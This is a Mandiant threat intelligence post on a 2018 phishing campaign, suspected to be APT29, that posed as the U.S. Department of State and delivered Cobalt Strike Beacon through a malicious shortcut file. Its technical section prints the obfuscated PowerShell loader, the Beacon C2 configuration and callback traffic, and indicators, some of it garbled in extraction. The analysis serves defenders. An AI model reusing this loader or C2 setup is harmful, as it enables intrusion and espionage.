Google Cloud

Contact sales

Get started for free

Blog

Solutions & technology ∨

Ecosystem ∨

Developers & Practitioners

Transform with Google Cloud

Q

X

in

f

Threat Intelligence

Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign

November 19, 2018

Mandiant

Written by: Matthew Dunwoody, Andrew Thompson, Ben Withnell, Jonathan Leathery, Michael Matonis, Nick Carr

Introduction

- FireEye devices detected intrusion attempts against multiple industries, including think tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government, and defense contracting.
- The attempts involved a phishing email appearing to be from the U.S. Department of State with links to zip files containing malicious Windows shortcuts that delivered Cobalt Strike Beacon.
- Shared technical artifacts; tactics, techniques, and procedures (TTPs); and targeting connect this activity to previously observed activity suspected to be APT29.
- APT29 is known to transition away from phishing implants within hours of initial compromise.

On November 14, 2018, FireEye detected new targeted phishing activity at more than 20 of our clients across multiple industries.

"(UPDATE) This campaign has targeted over 20 FireEye customers across: Defense, Imagery, Law Enforcement, Local Government, Media, Military, Pharmaceutical, Think Tank, Transportation, &

Understood

US Public Sector industries in multiple geographic regions."

FireEye (@FireEye) November 15, 2018

The attacker appears to have compromised the email server of a hospital and the corporate website of a consulting company in order to use their infrastructure to send phishing emails. The phishing emails were made to look like secure communication from a Public Affairs official at the U.S. Department of State, hosted on a page made to look like another Department of State Public Affairs official's personal drive, and used a legitimate Department of State form as a decoy. This information could be obtained via publicly available data, and there is no indication that the Department of State network was involved in this campaign. The attacker used unique links in each phishing email and the links that FireEye observed were used to download a ZIP archive that contained a weaponized Windows shortcut file, launching both a benign decoy document and a Cobalt Strike Beacon backdoor, customized by the attacker to blend in with legitimate network traffic.

Several elements from this campaign – including the resources invested in the phishing email and network infrastructure, the metadata from the weaponized shortcut file payload, and the specific victim individuals and organizations targeted – are directly linked to the last observed APT29 phishing campaign from November 2016. This blog post explores those technical breadcrumbs and the possible intentions of this activity.

Attribution Challenges

Conclusive FireEye attribution is often obtained through our Mandiant consulting team's investigation of incidents at compromised organizations, to identify details of the attack and post-compromise activity at victims. FireEye is still analyzing this activity.

There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. elections. However, the new campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. APT29 is a sophisticated actor, and while sophisticated actors are not infallible, seemingly blatant mistakes are cause for pause when considering historical uses of deception by Russian intelligence services. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long interlude.

Notable similarities between this and the 2016 campaign include the

infrastructure. Notable differences include the use of Cobalt Strike, rather than custom malware; however, many espionage actors do use publicly and commercially available frameworks for reasons such as plausible deniability.

During the phishing campaign, there were indications that the site hosting the malware was selectively serving payloads. For example, requests using incorrect HTTP headers <u>reportedly</u> served ZIP archives containing only the benign publicly available Department of State form. It is possible that the threat actor served additional and different payloads depending on the link visited; however, FireEye has only observed two: the benign and Cobalt Strike variations.

We provide details of this in the activity summary. Analysis of the campaign is ongoing, and we welcome any additional information from the community.

Activity Summary

The threat actor crafted the phishing emails to masquerade as a U.S. Department of State Public Affairs official sharing an official document. The links led to a ZIP archive that contained a weaponized Windows shortcut file hosted on a likely compromised legitimate domain, jmj[.].com. The shortcut file was crafted to execute a PowerShell command that read, decoded, and executed additional code from within the shortcut file.

Upon execution, the shortcut file dropped a benign, publicly available, U.S. Department of State form and Cobalt Strike Beacon. Cobalt Strike is a commercially available post-exploitation framework. The BEACON payload was configured with a modified variation of the publicly available "Pandora" Malleable C2 Profile and used a command and control (C2) domain – pandorasong[.]com – assessed to be a masquerade of the Pandora music streaming service. The customization of the C2 profile may have been intended to defeat less resilient network detection methods dependent on the default configurations. The shortcut metadata indicates it was built on the same or very similar system as the shortcut used in the November 2016 campaign. The decoy content is shown in Figure 1.

18/			U.S. Depart	ment of State			EXPIRATIO	ROVAL NO. 1405-0170 IN DATE: 01-31-2021 D BURDEN: 2 hours
CUC.	TRAII	NING/I	NTERNSH	IP PLACE	MENT	PLAN	ESTIMATE	D BONDER. 2 HOURS
				HANGE VISITOR	RINFOR			
Trainee/Intern Name (Surname/Pri	lmary, Given N	lame(s) (m	rust match pass	port name)		E-mail Address		
Program Sponsor				Program Categ	jory			
							Į.	-1
Occupational Category	Current FI	eld of Stud	ty/Profession		Experie	nce in Fleid (num	ber of years)	
Type of Degree or Certificate	Date Awar	rded (mm.	dd-yyyy) or Exp	ected	Training	Vinternship Dates	/mm-dd-wwwl	
The or prefer or our man		aca piini			From	y memority trans	To	
					Fioni		10	
Organization Name		SECTION	2: HOST ORGA	NIZATION INFO		ON		Sute
Organization Name				Priese Site No.	J (55			Suite
City		State	ZIP Code	Website URL				
Employer ID Number (EIN)	Exchange V Hours Per W	tsitor	Stinond Du	- E Y		ompensation		
	HOUIS POI W	POOK	Superio Y	es 🔲 No If yes	, now mu	uir	per _	
			Non-Monetary	Type T No	If une	value?		
Workers' Compensation Policy			Compensation	Yes No	If yes,		per_ ers' Compens	ation policy cover
,	Carrier		Compensation	Yes No	If yes,	exchange Visito	rs? Yes	No, exempt
Yes No If yes, Name of		Dougopus	Compensation	Yes No	if yes,		rs? Yes	No, exempt
,	at Annual I	Revenue		Yes No	if yes,	exchange Visito No, but equ	ers Compensi rs? Yes ivalent covera	No, exempt ge
Yes No If yes, Name of Number of FT Employees Orisite a	at Annual I	Revenue o \$3 Millio		Yes No	if yes,	exchange Visito	ers Compensi rs? Yes ivalent covera	No, exempt ge
Yes No If yes, Name of Number of FT Employees Orisite a	at Annual I		n 🗍 \$3 Milk	Yes No	f yes,	exchange Visito No, but equ	ers Compensi rs? Yes ivalent covera	No, exempt ge
Yes No If yes, Name of Number of FT Employees Orisite a	at Annual I		n 🗍 \$3 Milk	on to \$10 Million	f yes,	exchange Visito No, but equ	ers Compensi rs? Yes ivalent covera	No, exempt ge
Yes No If yes, Name of Number of FT Employees Orisite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, ar	so to	o \$3 Millio	n 33 Millo SECTION 3: Co	on to \$10 Millon ERTIFICATIONS		exchange Visito No, but equ Million to \$25 M	rers Compensions? Yes Yes Lavalent covera	No, exempt ge 5 Million or More
Yes No If yes, Name of Number of FT Employees Oriste a Location Trainee/Intern - I certify that:	\$0 to	o \$3 Millio	n 33 Millo SECTION 3: Co	on to \$10 Millon ERTIFICATIONS		exchange Visito No, but equ Million to \$25 M	rers Compensions? Yes Yes Lavalent covera	No, exempt ge 5 Million or More
Yes No If yes, Name of Number of FT Employees Orisite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, ar I am entering into this Exchange 2. engage in labor or work within the 3. I understand that the intent of the	st Annual if	o \$3 Millio ils Training am in orde es.	n \$3 Milk SECTION 3: Ct printernship Place r to participate a	on to \$10 Million ERTIFICATIONS Description of the state of the stat	\$1 stem as d	exchange Visito No, but equ Million to \$25 M	tillon \$25	No, exempt ge 5 Million or More imply to
Yes No If yes, Name of Number of FT Employees Onsite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, ar I am entering into this Exchange engage in labor or work within the in a way that will be useful to me I understand that my internships.	at Annual is \$0 to a solution of will follow the e Visited State the Exchange Ve when I return //training will take	o \$3 Millio nis Training am in orde es. Tisitor Prog n home up	n \$3 Millio SECTION 3: Cl plinternship Place r to participate a ram is to allow r on completion o	on to \$10 Millon ERTIFICATIONS Comment Plan (T/li is a Trainee or in the me to enhance m f my program.	\$1 \$1	exchange Visito No, but equ No, but equ Million to \$25 M delineated in this 1	titlen \$25	No, exempt ge 5 Million or More imply to and business
Yes No If yes, Name of Number of FT Employees Orisite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, ar I am entering into this Exchange? engage in labor or work within the state of the in a way that will be useful to the state of the	at Annual I \$0 to \$0 to d will follow the e Visitor Progra the United Statu the Exchange V or when I return training will take the is prohibited	o \$3 Millio es Training am in orde es. Isstor Prog i home up ke place of	n \$3 Millions SECTION 3: CI SECTION 3: CI Sylinternship Place or to participate a gram is to allow a gram is to	on to \$10 Million ERTIFICATIONS Comment Plan (T/III as a Trainee or in me to enhance m f my program. zation listed on t	\$1 street as dony skills a	exchange Visito No, but equ No, but equ Million to \$25 M delineated in this 1 and gain exposure and that working	Interest Compensions (SP) Yes Yes Invalent coveral (IIIII) \$25	No, exempt ge 5 Million or More imply to and business
Yes No If yes, Name of Number of FT Employees Orisite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, ar I am entering into this Exchange? engage in labor or work within the intent of the in a way that will be useful to me I understand that my intenship on the Exchange Visitor Prograf.	at Annual I \$0 to \$0 to Will follow the e Visitor Progra the United State the Exchange V or when I return the is prohibited earliest availa	o \$3 Millio als Training am in orde es. Isitor Prog n home up ke place or	sECTION 3: Constitution of the participate a strain is to allow ron completion only at the organizable regarding.	on to \$10 Million ERTIFICATIONS Comment Plan (T/II is a Trainee or in f my program. zation listed on to any concerns, ch	\$1 street as dony skills a	exchange Visito No, but equ No, but equ Million to \$25 M delineated in this 1 and gain exposure and that working	Interest Compensions (SP) Yes Yes Invalent coveral (IIIII) \$25	No, exempt ge 5 Million or More imply to and business
Yes No If yes, Name of Number of FT Employees Orisite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, ar I am entering into this Exchange engage in labor or work within the in a way that will be useful to me 4. I understand that my internship on the Exchange Visitor Prografs. I will contact the Sponsor at the	at Annual I \$0 to d will follow the e Visitor Progra he United Statue Exchange very live when I return training will take in s prohibited eartiest availa all inquiries an	o \$3 Millio ais Training am in orde es. Isitor Prog to home up the place or bie opport and monitori	n \$3 Millio SECTION 3: Cl plinternship Place r to participate a ram is to allow r on completion o nily at the organi unity regarding, ing activities of r	on to \$10 Millon ERTIFICATIONS Comment Plan (T/li is a Trainee or in the to enhance m of my program. Zation listed on to any concerns, ch my sponsor.	\$1 street as dony skills a	exchange Visito No, but equ No, but equ Million to \$25 M delineated in this 1 and gain exposure and that working	Interest Compensions (SP) Yes Yes Invalent coveral (IIIII) \$25	No, exempt ge 5 Million or More imply to and business
Yes No If yes, Name of Number of FT Employees Orisite a Location Trainee/Intern - I certify that: 1. I have reviewed, understand, ar I am entering into this Exchange engage in labor or work within the in a way that will be useful to me I understand that my internship on the Exchange Visitor Prografs. I will contact the Sponsor at the 6. I will respond in a timely way to	at Annual i so to the visitor Programe United State the Exchange Ve when I return training will take in sprohibited earliest availa all inquiries an guidelines request of State's B	o \$3 Millio sis Training am in orde es. Isitor Prog thome up the place or the dimonitori ired for my ureau of E	s \$3 Milk SECTION 3: Ci printernship Place r to participate a ram is to allow r on completion o nily at the organi unity regarding, ing activities of r y participation in ducational and	on to \$10 Million ERTIFICATIONS cement Plan (T/li is a Trainee or in me to enhance m f my program. zation listed on t any concerns, ch my sponsor. in my program. Cuttural Affairs (i	\$1 street as dony skills a his TAPP	exchange Visito No, but equ No, but equ No, but equ Idelineated in this 1 and gain exposure and that working , or deviations from	Interest Compensions (SP) Type Type Type Type Type Type Type Type	No, exempt ge SMillion or More imply to and business anization while
Trainee/intern - I certify that: 1. I have reviewed, understand, ar I have engage in labor or work within the a way that will be useful to me 4. I understand that my internship on the Exchange Vistor Prograf on the Exchange Vistor Prograf 5. I will contact the Sponsor at the 6. I will respond in a timely way to 7. I will follow all of my sponsor's g 8. I will contact the U.S. Departme my sponsor or supervisor (as se	at Annual is so to the visitor Program to United State the Exchange Ve when I return Valining will take an its prohibited earliest availa all inquiries an guidelines request of State's Bet forth on page lity of perjury the provides seve	o \$3 Millio as Training am in orde es. Train	section 3: cit syntemship Place r to participate a gram is to allow r on completion o only at the organi unity regarding ing activities of r y participation in ducational and of, is not provi	on to \$10 Million ERTIFICATIONS Comment Plan (T/lists a Trainee or in the to enhance m of my program. Zation listed on to any concerns, ch my sponsor. Imy program. Cultural Affairs (I dding me with a ic commation made h	stryes, stryes	exchange visito No, but equ No, but equ No, but equ Indian to \$25 M Idelineated in this T and gain exposure and that working or deviations from the earliest possibilitiernship or train true and correct to	Interest Compensions (ST) Yes Ye	No, exempt ge S Million or More imply to and business anization while
Trainee/intern - I certify that: 1. I have reviewed, understand, and I am entering into this Exchange engage in labor or work within it. 3. I understand that the intent of this in a way that will be useful to middle understand that my internship/on the Exchange Visitor Program. 5. I will contact the Sponsor at the 6. I will respond in a timely way to 7. I will follow all of my sponsor's g. I will contact the U.S. Department my sponsor or supervisor (as so Triffe); and 9. I declare and affirm under penal information and belief. The law	at Annual is so to the visitor Program to United State the Exchange Ve when I return Valining will take an its prohibited earliest availa all inquiries an guidelines request of State's Bet forth on page lity of perjury the provides seve	o \$3 Millio as Training am in orde es. Train	section 3: cit syntemship Place r to participate a gram is to allow r on completion o only at the organi unity regarding ing activities of r y participation in ducational and of, is not provi	on to \$10 Million ERTIFICATIONS Comment Plan (T/lists a Trainee or in the to enhance m of my program. Zation listed on to any concerns, ch my sponsor. Imy program. Cultural Affairs (I dding me with a ic commation made h	stryes, stryes	exchange visito No, but equ No, but equ No, but equ Indian to \$25 M Idelineated in this T and gain exposure and that working or deviations from the earliest possible internship or train true and correct to	Interest Compensions (ST) Yes Ye	No, exempt ge S Million or More imply to and business anization while

Figure 1: Decoy document content

Similarities to Older Activity

This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The malicious LNK used in the recent spearphishing campaign, ds7002.lnk (MD5:

6ed0020b0851fb71d5b0076f4ee95f3c), has technical overlaps with a suspected APT29 LNK from November 2016, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5:

f713d5df826c6051e65f995e57d6817d), which was publicly reported by <u>Volexity</u>. The 2018 and 2016 LNK files are similar in structure and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK was created.

Additional overlap was observed in the targeting and tactics employed in the phishing campaigns responsible for distributing these LNK file. Previous APT29 activity targeted some of the same recipients of this email campaign, and APT29 has leveraged large waves of emails in previous campaigns.

Outlook and Implications

Analysis of this activity is ongoing, but if the APT29 attribution is

the targeting, organizations that have previously been targeted by APT29 should take note of this activity. For network defenders, whether or not this activity was conducted by APT29 should be secondary to properly investigating the full scope of the intrusion, which is of critical importance if the elusive and deceptive APT29 operators indeed had access to your environment.

Technical Details

Phishing

Emails were sent from DOSOneDriveNotifications-svCT-Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm[.]org with the subject Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you. The distribution of emails varied significantly between the affected organizations. While most targeted FireEye customers received three or fewer emails, some received significantly more, with one customer receiving 136.

Each phishing email contained a unique malicious URL, likely for tracking victim clicks. The pattern of this URL is shown in Figure 2.

Figure 2: Malicious URL structure

Outside of the length of the sender email address, which may have been truncated on some recipient email clients, the attacker made little effort to hide the true source of the emails, including that they were not actually sent from the Department of State. Figure 3 provides a redacted snapshot of email headers from the phishing message.

Figure 3: Redacted email headers

The malicious links are known to have served two variants of the file ds7002.zip. The first variant (MD5:

3fccf531ff0ae6fedd7c586774b17a2d), contained ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c). ds7002.lnk was a malicious shortcut (LNK) file that contained an embedded BEACON DLL and decoy PDF, and was crafted to launch a PowerShell command. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON backdoor and decoy PDF. The other observed variant of ds7002.zip (MD5: 658c6fe38f95995fa8dc8f6cfe41df7b) contained only the benign decoy document. The decoy document ds7002.pdf (MD5: 313f4808aa2a2073005d219bc68971cd) appears to have been downloaded from byxps://eforms.state.gov/Forms/ds7002.PDF

The BEACON backdoor communicated with the C2 domain pandorasong[.]com (95.216.59[.]92). The domain leveraged privacy protection, but had a start of authority (SOA) record containing vleger@tutanota.com.

Our analysis indicates that the attacker started configuring infrastructure approximately 30 days prior to the attack. This is a significantly longer delay than many other attackers we track. Table 1 contains a timeline of this activity.

Time	Event	Source
2018-10- 15 15:35:19Z	pandorasong[.]com registered	Registrant Information
2018-10- 15 17:39:00Z	pandorasong[.]com SSL certificate established	Certificate Transparency
2018-10- 15 18:52:06Z	Cobalt Strike server established	Scan Data
2018-11- 02 10:25:58Z	LNK Weaponized	LNK Metadata
2018-11- 13 17:58:41Z	3fccf531ff0ae6fedd7c586774b17a2d modified	Archive Metadata
2018-11- 14 01:48:34Z	658c6fe38f95995fa8dc8f6cfe41df7b modified	Archive Metadata
2018-11- 14 08:23:10Z	First observed phishing e-mail sent	Telemetry

Table 1: Operational timeline

Execution

Upon execution of the malicious LNK, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), the following PowerShell command was executed:

\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nc\\$zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkc;rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKS17JG9lPUdldC1DaGlsZEl0ZVUdjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNl02lmICgtbm90ICRvZSkgc0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVj030kdnp2aT10ZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJyv1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QgZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5d0jpCZWdpbik7JHI9JHZ6cgkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRd0jpGcm9tQmFzZTY0CcmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkfkdldFN0cmluZygkb2UpO2lleCAkems7';\$fz='FromBase'+0x40+'Strirncoding]::ASCII.GetString([Convert]::\$fz.Invoke(\$zk));iex \$

This command included some specific obfuscation, which may indicate attempts to bypass specific detection logic. For example, the use of 'FromBase'+0x40+'String', in place of FromBase64String, the PowerShell command used to decode base64.

The decoded command consisted of additional PowerShell that read the content of ds7002.lnk from offset 0x5e2be to offset 0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content. The embedded PowerShell code decoded to the following:

```
$ptgt=0x0005e2be;
$vcq=0x000623b6;
$tb="ds7002.1nk";
if (-not(Test-Path $tb))
$oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse;
if (-not $oe)
{
exit
}
[IO.Directory]::SetCurrentDirectory($0e.DirectoryName);
}
$vzvi=New-Object IO.FileStream $tb,'Open','Read','ReadWrite
$oe=New-Object byte[]($vcq-$ptgt);
$r=$vzvi.Seek($ptgt,[IO.SeekOrigin]::Begin);
$r=$vzvi.Read($oe,0,$vcq-$ptgt);
$oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length);
$zk=[Text.Encoding]::ASCII.GetString($oe);
iex $zk;
```

When the decoded PowerShell is compared to the older 2016 PowerShell embedded loader (Figure 4), it's clear that similarities still exist. However, the new activity leverages randomized variable and function names, as well as obfuscating strings contained in the script.

The PowerShell loader code is obfuscated, but a short de-obfuscated snippet is shown as follows. The decoy PDF and BEACON loader DLL are read from specific offsets within the LNK, decoded, and their contents executed. The BEACON loader DLL is executed with the export function "PointFunctionCall":

```
[TRUNCATED]
$jzffhy = [IO.FileAccess]::READ
$gibisec = myayxvj $("ds7002.lnk")
$oufgke = 0x48bd8
$wabxu = 0x5e2be - $oufgke
$lblij = bygtqi $gibisec $oufgke $wabxu $("%TEMP%\ds7002.PI
$((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-3)))
$oufgke = 0x0dd8
$wabxu = 0x48bd8 - $oufgke
$yhcgpw = bygtqi $gibisec $oufgke $wabxu $("%LOCALAPPDATA%)($ENV:PROCESSOR_ARCHITECTURE -eq $("AMD64")) { & ($("rund13))}
```

Files Dropped

Upon successful execution of the LNK file, it dropped the following files to the victim's system:

- %APPDATA%\Local\cyzfc.dat (MD5: 16bbc967a8b6a365871a05c74a4f345b)
 - BEACON loader DLL
- %TEMP%\ds7002.PDF (MD5: 313f4808aa2a2073005d219bc68971cd)
 - Decoy document

The dropped BEACON loader DLL was executed by RunDll32.exe using the export function "PointFunctionCall":

"C:\Windows\system32\rundll32.exe"
C:\Users\Administrator\AppData\Local\cyzfc.dat, PointFunctionCall

The BEACON payload included the following configuration:

```
authorization_id: 0x311168c

dns_sleep: 0
http_headers_c2_post_req:
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: pandorasong.com
http headers c2 request:
```

```
Host: pandorasong[.]com
Cookie: utma=310066733.2884534440.1433201462.1403204372.1
jitter: 17
named_pipes: \\\\%s\\pipe\\msagent_%x
process_inject_targets:
%windir%\\syswow64\\rundll32.exe
%windir%\\sysnative\\rundll32.exe
beacon_interval: 300
c2:
conntype: SSL
host: pandorasong[.]com
port: 443
c2_urls:
pandorasong[.]com/radio/xmlrpc/v45
pandorasong[.]com/access/
c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW64; Trider
```

Network Communications

After successful installation/initialization of the malware, it made the following callback to the C2 server pandorasong[.]com via TCP/443 SSL. The sample was configured to use a malleable C2 profile for its network communications. The specific profile used appears to be a modified version of the publicly available Pandora C2 profile. The profile may have been changed to bypass common detections for the publicly available malleable profiles. The following is a sample GET request:

```
GET /access/?version=4&lid=1582502724&token=ajlomeomnmeapoa
Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanor
Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnfla
agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgk
HTTP/1.1
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong.com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.
Gecko
Connection: Keep-Alive
Cache-Control: no-cache
```

Similarities to Older Activity

Figure 5 and Figure 6 show the overlapping characteristics between the LNK used in the recent spear phish emails, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), compared to a suspected

backdoor, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d).

Figure 5: LNK characteristics: new activity (left) and old activity (right)

Figure 6: LNK characteristics: new activity (left) and old activity (right)

In addition to similar LNK characteristics, the PowerShell command is very similar to the code from the older sample that executed the SPIKERUSH backdoor. Some of the same variable names are retained in this new version, as seen in Figure 7 and Figure 8.

Figure 7: Embedded PowerShell: new activity (left) and old activity (right)

Figure 8: Shared string obfuscation logic: new LNK activity (left) and old VERNALDROP activity (right)

Indicators

Indicator	Description
dosonedrivenotifications-svct- mailboxe36625aaa85747214aa50342836a2315aaa36 928202aa46271691a8255aaa15382822aa25821925a 0245@northshorehealthgm[.]org	Phishing ema address from compromised legitimate se
Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you	Phishing ema
https://www.jmj[.]com/personal/nauerthn_state_gov/*	Malware hos location on li compromised legitimate do
pandorasong[.]com	BEACON C2
95.216.59[.]92	Resolution of pandorason(
2b13b244aafe1ecace61ea1119a1b2ee	SSL certifica

cloud.google.com uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic. <u>Learn more</u>.

3fccf531ff0ae6fedd7c586774b17a2d	Malicious ZIF archive MD5
658c6fe38f95995fa8dc8f6cfe41df7b	Benign ZIP aı MD5
6ed0020b0851fb71d5b0076f4ee95f3c	Malicious LN MD5
313f4808aa2a2073005d219bc68971cd	Benign deco _! MD5
16bbc967a8b6a365871a05c74a4f345b	BEACON DLI
%APPDATA%\Local\cyzfc.dat	BEACON DLI path
%TEMP%\ds7002.PDF	Benign decor

Table 2: Indicators

Related Samples

37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d)

FireEye Detection

FireEye detected this activity across our platform. Table 3 contains the specific detection names that applied to this activity.

Product	Detection names
Network Security	Malware.Archive Malware.Binary.lnk Suspicious.Backdoor.Beacon
Endpoint Security	SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) Generic.mg.16bbc967a8b6a365
Threat Analytics Platform	WINDOWS METHODOLOGY [PowerShell Base64 String]

cloud.google.com uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic. Learn more.

Block Warning]

WINDOWS METHODOLOGY [Base64 Char

Args]

TADPOLE DOWNLOADER [Rundll Args]

INTEL HIT - IP [Structured Threat Reputation-

Based]

INTEL HIT - FQDN [Structured Threat

Reputation-Based] [DNS]

INTEL HIT - FQDN [Structured Threat

Reputation-Based] [Non-DNS]

INTEL HIT - FILE HASH [Structured Threat

Reputation-Based]

Table 3: FireEye product detections

Posted in Threat Intelligence—Security & Identity

Related articles

Threat Intelligence

Hybrid Russian
Espionage and
Influence Campaign
Aims to
Compromise
Ukrainian Military
Recruits and Deliver
Anti-Mobilization
Narratives

By Google Threat
Intelligence Group • 10minute read

Threat Intelligence

Investigating
FortiManager ZeroDay Exploitation
(CVE-2024-47575)

By Mandiant • 19-minute read

Threat Intelligence

How Low Can You Go? An Analysis of 2023 Time-to-Exploit Trends

By Mandiant • 10-minute read

Threat Intelligence

capa Explorer Web:
A Web-Based Tool
for Program
Capability Analysis

By Mandiant • 6-minute read

Follow us













Google Cloud

Google Cloud Products

Privacy

Terms

? Help

English

•